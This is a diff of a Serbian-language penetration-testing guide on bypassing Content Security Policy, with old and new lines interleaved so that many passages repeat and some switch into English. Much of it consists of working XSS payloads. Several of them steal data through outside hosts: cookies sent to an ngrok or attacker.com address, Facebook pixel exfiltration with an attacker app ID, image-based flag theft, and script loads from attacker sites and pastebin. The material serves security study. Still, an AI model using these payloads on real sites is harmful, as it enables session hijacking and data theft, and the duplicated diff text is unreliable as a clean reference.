- **frame-ancestors**: Specifikuje koji izvori mogu ugnježditi trenutnu stranicu, primenljivo na elemente kao što su `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
|
||||
- **frame-ancestors**: Precizira koji izvori mogu ugraditi trenutnu stranicu, primenljivo na elemente kao što su `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
|
||||
- **img-src**: Definiše dozvoljene izvore za slike.
|
||||
- **font-src**: Specifikuje validne izvore za fontove učitane koristeći `@font-face`.
|
||||
- **font-src**: Precizira validne izvore za fontove učitane koristeći `@font-face`.
|
||||
- **manifest-src**: Definiše dozvoljene izvore datoteka manifest aplikacije.
|
||||
- **media-src**: Definiše dozvoljene izvore za učitavanje medijskih objekata.
|
||||
- **object-src**: Definiše dozvoljene izvore za elemente `<object>`, `<embed>`, i `<applet>`.
|
||||
- **base-uri**: Specifikuje dozvoljene URL-ove za učitavanje koristeći `<base>` elemente.
|
||||
- **base-uri**: Precizira dozvoljene URL-ove za učitavanje koristeći `<base>` elemente.
|
||||
- **form-action**: Navodi validne krajnje tačke za slanje obrazaca.
|
||||
- **plugin-types**: Ograničava mime tipove koje stranica može da pozove.
|
||||
- **upgrade-insecure-requests**: Naredjuje pretraživačima da prepisuju HTTP URL-ove u HTTPS.
|
||||
- **upgrade-insecure-requests**: Naređuje pretraživačima da prepisuju HTTP URL-ove u HTTPS.
|
||||
- **sandbox**: Primena ograničenja sličnih sandbox atributu `<iframe>`.
|
||||
- **report-to**: Specifikuje grupu kojoj će izveštaj biti poslat ako se politika prekrši.
|
||||
- **worker-src**: Specifikuje validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
|
||||
- **prefetch-src**: Specifikuje validne izvore za resurse koji će biti preuzeti ili unapred preuzeti.
|
||||
- **report-to**: Precizira grupu kojoj će izveštaj biti poslat ako se politika prekrši.
|
||||
- **worker-src**: Precizira validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
|
||||
- **prefetch-src**: Precizira validne izvore za resurse koji će biti preuzeti ili unapred preuzeti.
|
||||
- **navigate-to**: Ograničava URL-ove na koje dokument može da navigira na bilo koji način (a, obrazac, window.location, window.open, itd.)
|
||||
|
||||
### Izvori
|
||||
|
||||
- `*`: Dozvoljava sve URL-ove osim onih sa `data:`, `blob:`, `filesystem:` shemama.
|
||||
- `'self'`: Dozvoljava učitavanje sa iste domene.
|
||||
- `'data'`: Dozvoljava resursima da se učitavaju putem data sheme (npr., Base64 kodirane slike).
|
||||
- `'data'`: Dozvoljava resursima da se učitavaju putem data sheme (npr. Base64 kodirane slike).
|
||||
- `'none'`: Blokira učitavanje sa bilo kog izvora.
|
||||
- `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, nije preporučljivo iz bezbednosnih razloga.
|
||||
- `'unsafe-hashes'`: Omogućava specifične inline upravljače događaja.
|
||||
@ -89,13 +89,13 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: Beleži skripte sa specifičnim sha256 hash-om.
|
||||
- `'strict-dynamic'`: Omogućava učitavanje skripti iz bilo kog izvora ako je beljen od strane nonce-a ili hash-a.
|
||||
- `'host'`: Precizira specifičan host, kao što je `example.com`.
|
||||
- `'strict-dynamic'`: Omogućava učitavanje skripti iz bilo kog izvora ako je beljen od strane nonce-a ili hasha.
|
||||
- `'host'`: Precizira određeni host, kao što je `example.com`.
|
||||
- `https:`: Ograničava URL-ove na one koji koriste HTTPS.
|
||||
- `blob:`: Omogućava učitavanje resursa sa Blob URL-ova (npr., Blob URL-ova kreiranih putem JavaScript-a).
|
||||
- `blob:`: Omogućava učitavanje resursa sa Blob URL-ova (npr., Blob URL-ovi kreirani putem JavaScript-a).
|
||||
- `filesystem:`: Omogućava učitavanje resursa sa datotečnog sistema.
|
||||
- `'report-sample'`: Uključuje uzorak kršećeg koda u izveštaju o kršenju (korisno za debagovanje).
|
||||
- `'strict-origin'`: Slično 'self', ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).
|
||||
- `'strict-origin'`: Slično 'self', ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitati resurse sa sigurnih izvora).
|
||||
- `'strict-origin-when-cross-origin'`: Šalje pune URL-ove prilikom pravljenja zahteva sa istog izvora, ali šalje samo izvor kada je zahtev međuzavistan.
|
||||
- `'unsafe-allow-redirects'`: Omogućava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Nije preporučljivo jer slabi bezbednost.
|
||||
|
||||
@ -126,14 +126,14 @@ Radni payload:
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
Ako možete na neki način da omogućite **dozvoljenom JS kodu da kreira novu script oznaku** u DOM-u sa vašim JS kodom, zato što je dozvoljeni skript to kreirao, **nova script oznaka će biti dozvoljena za izvršavanje**.
|
||||
Ako možete na neki način da omogućite **dozvoljenom JS kodu da kreira novu script tag** u DOM-u sa vašim JS kodom, zato što ga dozvoljeni skript kreira, **nova script tag će biti dozvoljena za izvršavanje**.
|
||||
|
||||
### Wildcard (*)
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Radni payload:
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
```
|
||||
@ -144,26 +144,26 @@ Radni payload:
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
Radni payloadi:
|
||||
```markup
|
||||
```html
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
<param name="AllowScriptAccess" value="always"></object>
|
||||
```
|
||||
### Učitavanje fajlova + 'self'
|
||||
### Upload fajlova + 'self'
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Ako možete da otpremite JS datoteku, možete zaobići ovaj CSP:
|
||||
|
||||
Radni payload:
|
||||
```markup
|
||||
```html
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Međutim, veoma je verovatno da server **validira otpremnenu datoteku** i da će vam dozvoliti da **otpremite određene tipove datoteka**.
|
||||
Međutim, veoma je verovatno da server **validira otpremeljenu datoteku** i da će vam dozvoliti da **otpremite određene tipove datoteka**.
|
||||
|
||||
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz jednog CTF-a sam saznao da **Apache ne prepoznaje** _**.wave**_ ekstenziju, stoga je ne servira sa **MIME tipom kao audio/\***.
|
||||
Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz jednog CTF-a sam saznao da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.
|
||||
|
||||
Odavde, ako pronađete XSS i otpremanje datoteka, i uspete da pronađete **pogrešno interpretiranu ekstenziju**, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremne datoteke, kreirajte poliglot ([neki primeri poliglotova ovde](https://github.com/Polydet/polyglot-database)).
|
||||
Odavde, ako pronađete XSS i otpremanje datoteka, i uspete da pronađete **pogrešno interpretiranu ekstenziju**, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremeljene datoteke, kreirajte poliglot ([neki primeri poliglota ovde](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
@ -201,7 +201,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
|
||||
> [!NOTE]
|
||||
> Post pokazuje da možete **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kog drugog dozvoljenog JS biblioteka repozitorijuma), izvršiti sve dodate funkcije iz svake biblioteke, i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
|
||||
```markup
|
||||
```html
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||
<div ng-app ng-csp>
|
||||
@ -275,7 +275,7 @@ Moguće je zloupotrebiti Google Apps Script da se primi informacija na stranici
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Scenariji poput ovog gde je `script-src` postavljen na `self` i određenu domenu koja je na beloj listi mogu se zaobići korišćenjem JSONP. JSONP krajnje tačke omogućavaju nesigurne callback metode koje omogućavaju napadaču da izvrši XSS, radni payload:
|
||||
```markup
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
```
|
||||
@ -290,7 +290,7 @@ Ista ranjivost će se pojaviti ako **pouzdana krajnja tačka sadrži Open Redire
|
||||
|
||||
### Zloupotrebe trećih strana
|
||||
|
||||
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana, koje mogu biti dozvoljene negde u CSP-u, koje se mogu zloupotrebiti za eksfiltraciju podataka ili izvršavanje JavaScript koda. Neki od ovih trećih strana su:
|
||||
Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana, koje mogu biti dozvoljene negde u CSP-u, a mogu se zloupotrebiti za eksfiltraciju podataka ili izvršavanje JavaScript koda. Neki od ovih trećih strana su:
|
||||
|
||||
| Entitet | Dozvoljeni domen | Mogućnosti |
|
||||
| ----------------- | ---------------------------------------------- | ------------ |
|
||||
@ -319,10 +319,10 @@ Treba da budete u mogućnosti da exfiltrirate podatke, slično kao što je oduve
|
||||
2. Napravite novu aplikaciju "Facebook Login" i izaberite "Website".
|
||||
3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
|
||||
4. Na ciljanom sajtu sa kojeg želite da exfiltrirate podatke, možete exfiltrirati podatke direktno koristeći Facebook SDK uređaj "fbq" kroz "customEvent" i payload podataka.
|
||||
5. Idite na svoj App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se naći na URL-u sličnom ovome: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
5. Idite na svoj App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: menadžer događaja može se naći na URL-u sličnom ovom: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Izaberite karticu "Test Events" da vidite događaje koje šalje "vaš" veb sajt.
|
||||
|
||||
Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook praćenje piksela da upućuje na app-id napadačevog Facebook developer naloga i izdajte prilagođeni događaj poput ovog:
|
||||
Zatim, na strani žrtve, izvršite sledeći kod da inicijalizujete Facebook tracking pixel da pokazuje na app-id napadačevog Facebook developer naloga i da izdate prilagođeni događaj kao što je ovaj:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
@ -343,7 +343,7 @@ Pregledač će na kraju učitati `https://example.com/scripts/angular/angular.js
|
||||
|
||||
To funkcioniše jer za pregledač učitavate datoteku pod nazivom `..%2fangular%2fangular.js` koja se nalazi pod `https://example.com/scripts/react/`, što je u skladu sa CSP.
|
||||
|
||||
∑, oni će to dekodirati, efektivno tražeći `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.
|
||||
∑, oni će je dekodirati, efektivno tražeći `https://example.com/scripts/react/../angular/angular.js`, što je ekvivalentno `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
**Iskorišćavanjem ove nekonzistentnosti u interpretaciji URL-a između pregledača i servera, pravila putanje se mogu zaobići**.
|
||||
|
||||
@ -362,15 +362,15 @@ Online primer:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.c
|
||||
Ako **base-uri** direktiva nedostaje, možete je zloupotrebiti da izvršite [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
Štaviše, ako **stranica učitava skriptu koristeći relativnu putanju** (kao što je `<script src="/js/app.js">`) koristeći **Nonce**, možete zloupotrebiti **base** **tag** da učitate skriptu sa **vašeg servera, postignuvši XSS.**\
|
||||
Ako se ranjiva stranica učitava sa **httpS**, koristite httpS URL u bazi.
|
||||
Ako je ranjiva stranica učitana sa **httpS**, koristite httpS URL u bazi.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJS događaji
|
||||
|
||||
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na objekat nativnog browser događaja. Ovaj `$event` objekat može biti iskorišćen za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, `$event/event` objekat poseduje `path` atribut, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek smešten na kraju. Ova struktura je ključna za taktike izlaska iz sandbox-a.
|
||||
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS pruža jedinstveni objekat `$event`, koji se odnosi na objekat nativnog browser događaja. Ovaj `$event` objekat može se iskoristiti za zaobilaženje CSP-a. Važno je napomenuti da u Chrome-u, `$event/event` objekat poseduje `path` atribut, koji sadrži niz objekata uključenih u lanac izvršenja događaja, pri čemu je objekat `window` uvek smešten na kraju. Ova struktura je ključna za taktike izlaska iz sandbox-a.
|
||||
|
||||
Usmeravanjem ovog niza ka `orderBy` filteru, moguće je iterirati kroz njega, koristeći terminalni element (objekat `window`) za aktiviranje globalne funkcije kao što je `alert()`. Prikazani kod ispod objašnjava ovaj proces:
|
||||
Usmeravanjem ovog niza na `orderBy` filter, moguće je iterirati kroz njega, koristeći terminalni element (objekat `window`) za aktiviranje globalne funkcije kao što je `alert()`. Prikazani kod ispod objašnjava ovaj proces:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
@ -385,7 +385,7 @@ Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none
|
||||
```
|
||||
CSP politika koja beleži dozvoljene domene za učitavanje skripti u Angular JS aplikaciji može biti zaobiđena pozivanjem callback funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovom [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
|
||||
Radni payloadi:
|
||||
Radni payload-ovi:
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
@ -395,7 +395,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
```
|
||||
Drugi JSONP arbitrarni izvršni krajnji tački mogu se naći [**ovde**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (neki od njih su obrisani ili ispravljeni)
|
||||
|
||||
### Bypass putem preusmeravanja
|
||||
### Zaobilaženje putem preusmeravanja
|
||||
|
||||
Šta se dešava kada CSP naiđe na preusmeravanje sa servera? Ako preusmeravanje vodi ka drugom poreklu koje nije dozvoljeno, i dalje će propasti.
|
||||
|
||||
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` znači da možete izvršiti bilo koji skript unutar koda (XSS može izvršiti kod) i `img-src *` znači da možete koristiti bilo koju sliku sa bilo kog resursa na veb stranici.
|
||||
|
||||
Možete zaobići ovaj CSP eksfiltracijom podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):
|
||||
Možete zaobići ovaj CSP eksfiltrirajući podatke putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvlači zastavicu putem slike):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -462,7 +462,7 @@ Funkcija servisnih radnika **`importScripts`** nije ograničena CSP-om:
|
||||
|
||||
#### Chrome
|
||||
|
||||
Ako je **parametar** koji ste poslali **nalepio** unutar **deklaracije** **politike,** onda možete **izmeniti** **politiku** na neki način koji je čini **beskorisnom**. Možete **dozvoliti skriptu 'unsafe-inline'** sa bilo kojim od ovih zaobilaženja:
|
||||
Ako je **parametar** koji ste poslali **nalepljen unutar** **deklaracije** **politike,** onda možete **izmeniti** **politiku** na način koji je čini **beskorisnom**. Možete **dozvoliti skriptu 'unsafe-inline'** sa bilo kojim od ovih zaobilaženja:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
@ -472,15 +472,15 @@ Možete pronaći primer ovde: [http://portswigger-labs.net/edge_csp_injection_xn
|
||||
|
||||
#### Edge
|
||||
|
||||
U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: **`;_`** **Edge** bi **odbacio** celu **politiku**.\
|
||||
U Edge-u je mnogo jednostavnije. Ako možete dodati u CSP samo ovo: **`;_`** **Edge** će **odbaciti** celu **politiku**.\
|
||||
Primer: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; putem XSS (iframe) - Vremenski napad
|
||||
|
||||
Obratite pažnju na nedostatak direktive `'unsafe-inline'`\
|
||||
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako nekako možete **kontrolisati vreme koje stranica treba da učita** možete izvući informacije koje su vam potrebne.
|
||||
Ovog puta možete naterati žrtvu da **učita** stranicu pod **vašom kontrolom** putem **XSS** sa `<iframe`. Ovog puta ćete naterati žrtvu da pristupi stranici sa koje želite da izvučete informacije (**CSRF**). Ne možete pristupiti sadržaju stranice, ali ako nekako možete **kontrolisati vreme koje je stranici potrebno da se učita**, možete izvući informacije koje su vam potrebne.
|
||||
|
||||
Ovog puta će se **zastavica** izvući, kada god se **karakter ispravno pogodi** putem SQLi, **odgovor** traje **duže** zbog sleep funkcije. Tada ćete moći da izvučete zastavicu:
|
||||
Ovog puta će se **zastavica** izvući, kada god se **karakter ispravno pogodi** putem SQLi, **odgovor** traje **duže** zbog funkcije sleep. Tada ćete moći da izvučete zastavicu:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -548,7 +548,7 @@ Za više informacija [**proverite originalni izveštaj ovde**](https://socradar.
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožijeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**.
|
||||
U [**ovoj CTF analizi**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se zaobilazi injektovanjem unutar dozvoljenog iframe-a strožeg CSP-a koji je zabranio učitavanje specifične JS datoteke koja je, zatim, putem **prototype pollution** ili **dom clobbering** omogućila **zloupotrebu različitog skripta za učitavanje proizvoljnog skripta**.
|
||||
|
||||
Možete **ograničiti CSP iframe-a** sa **`csp`** atributom:
|
||||
```html
|
||||
@ -568,7 +568,7 @@ content="script-src 'self'
|
||||
```
|
||||
### JS exfiltracija sa Content-Security-Policy-Report-Only
|
||||
|
||||
Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću koju kontrolišete** (možda zbog CRLF), mogli biste da ga usmerite na vaš server i ako **obavijete** **JS sadržaj** koji želite da eksfiltrirate sa **`<script>`** i zato što je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) biće poslat serveru iz `Content-Security-Policy-Report-Only`.
|
||||
Ako uspete da naterate server da odgovori sa zaglavljem **`Content-Security-Policy-Report-Only`** sa **vrednošću koju kontrolišete** (možda zbog CRLF), mogli biste da ga usmerite na vaš server i ako **obavijete** **JS sadržaj** koji želite da exfiltrirate sa **`<script>`** i zato što je veoma verovatno da `unsafe-inline` nije dozvoljen od strane CSP, ovo će **pokrenuti CSP grešku** i deo skripte (koji sadrži osetljive informacije) biće poslat serveru iz `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Za primer [**proverite ovaj CTF izveštaj**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -577,15 +577,15 @@ Za primer [**proverite ovaj CTF izveštaj**](https://github.com/maple3142/My-CTF
|
||||
document.querySelector("DIV").innerHTML =
|
||||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
||||
```
|
||||
### Curjenje informacija sa CSP i Iframe
|
||||
### Curjenje Informacija sa CSP i Iframe
|
||||
|
||||
- `iframe` se kreira koji upućuje na URL (nazovimo ga `https://example.redirect.com`) koji je dozvoljen od strane CSP-a.
|
||||
- Ovaj URL zatim preusmerava na tajni URL (npr., `https://usersecret.example2.com`) koji **nije dozvoljen** od strane CSP-a.
|
||||
- Slušanjem `securitypolicyviolation` događaja, može se uhvatiti `blockedURI` svojstvo. Ovo svojstvo otkriva domen blokiranog URI-ja, curi tajni domen na koji je inicijalni URL preusmerio.
|
||||
- An `iframe` is created that points to a URL (let's call it `https://example.redirect.com`) which is permitted by CSP.
|
||||
- This URL then redirects to a secret URL (e.g., `https://usersecret.example2.com`) that is **not allowed** by CSP.
|
||||
- By listening to the `securitypolicyviolation` event, one can capture the `blockedURI` property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected.
|
||||
|
||||
Zanimljivo je napomenuti da pretraživači poput Chrome-a i Firefox-a imaju različita ponašanja u vezi sa iframovima u odnosu na CSP, što može dovesti do potencijalnog curenja osetljivih informacija zbog neodređenog ponašanja.
|
||||
It's interesting to note that browsers like Chrome and Firefox have different behaviors in handling iframes with respect to CSP, leading to potential leakage of sensitive information due to undefined behavior.
|
||||
|
||||
Druga tehnika uključuje iskorišćavanje samog CSP-a da se deducira tajni poddomen. Ova metoda se oslanja na algoritam binarne pretrage i prilagođavanje CSP-a da uključuje specifične domene koje su namerno blokirane. Na primer, ako je tajni poddomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite poddomene modifikovanjem CSP direktive da blokira ili dozvoli ove poddomene. Evo isječka koji pokazuje kako bi CSP mogao biti postavljen da olakša ovu metodu:
|
||||
Another technique involves exploiting the CSP itself to deduce the secret subdomain. This method relies on a binary search algorithm and adjusting the CSP to include specific domains that are deliberately blocked. For example, if the secret subdomain is composed of unknown characters, you can iteratively test different subdomains by modifying the CSP directive to block or allow these subdomains. Here’s a snippet showing how the CSP might be set up to facilitate this method:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
@ -603,7 +603,7 @@ Prema [**poslednjoj tehnici komentarisanoj u ovom videu**](https://www.youtube.c
|
||||
|
||||
### Preopterećenje PHP odgovora
|
||||
|
||||
PHP je poznat po tome što **bafuje odgovor na 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\
|
||||
PHP je poznat po tome što **baforuje odgovor na 4096** bajtova po defaultu. Stoga, ako PHP prikazuje upozorenje, pružanjem **dovoljno podataka unutar upozorenja**, **odgovor** će biti **poslat** **pre** **CSP header-a**, uzrokujući da se header ignoriše.\
|
||||
Tada, tehnika se u suštini sastoji u **punjenju bafera odgovora upozorenjima** kako CSP header ne bi bio poslat.
|
||||
|
||||
Ideja iz [**ovog izveštaja**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u tački pristupa stranice** da **zloupotrebi** **druge tačke pristupa iste domene.** To se postiže učitavanjem ranjive tačke pristupa sa napadačke stranice, a zatim osvežavanjem napadačke stranice na pravu tačku pristupa u istoj domeni koju želite da zloupotrebite. Na ovaj način **ranjiva tačka pristupa** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave tačke pristupa za zloupotrebu**. Za više informacija pogledajte:
|
||||
SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u tački pristupa stranice** da **zloupotrebi** **druge tačke pristupa iste domene.** To se postiže učitavanjem ranjive tačke pristupa sa stranice napadača, a zatim osvežavanjem stranice napadača na pravu tačku pristupa u istoj domeni koju želite da zloupotrebite. Na ovaj način **ranjiva tačka pristupa** može koristiti **`opener`** objekat u **payload-u** da **pristupi DOM-u** **prave tačke pristupa za zloupotrebu**. Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
@ -627,7 +627,7 @@ SOME je tehnika koja zloupotrebljava XSS (ili veoma ograničen XSS) **u tački p
|
||||
|
||||
Pored toga, **wordpress** ima **JSONP** tačku pristupa u `/wp-json/wp/v2/users/1?_jsonp=data` koja će **odraziti** **podatke** poslati u izlazu (sa ograničenjem samo na slova, brojeve i tačke).
|
||||
|
||||
Napadač može zloupotrebiti tu tačku pristupa da **generiše SOME napad** protiv WordPress-a i **ugradi** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` napominjemo da će ovaj **script** biti **učitan** jer je **dozvoljen od 'self'**. Pored toga, i zato što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** kroz **ranjivu** **callback** tačku pristupa koja **zaobilazi CSP** da bi dala više privilegija korisniku, instalirao novi plugin...\
|
||||
Napadač može zloupotrebiti tu tačku pristupa da **generiše SOME napad** protiv WordPress-a i **ugradi** ga unutar `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` napominjemo da će ovaj **script** biti **učitan** jer je **dozvoljen od 'self'**. Pored toga, i zato što je WordPress instaliran, napadač može zloupotrebiti **SOME napad** kroz **ranjivu** **callback** tačku pristupa koja **zaobilazi CSP** da bi dala više privilegija korisniku, instalirao novi dodatak...\
|
||||
Za više informacija o tome kako izvesti ovaj napad pogledajte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
@ -636,7 +636,7 @@ Ako postoji stroga CSP koja ne dozvoljava da **interagujete sa spoljnim serverim
|
||||
|
||||
### Location
|
||||
|
||||
Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije na napadačev server:
|
||||
Možete jednostavno ažurirati lokaciju da pošaljete tajne informacije na server napadača:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
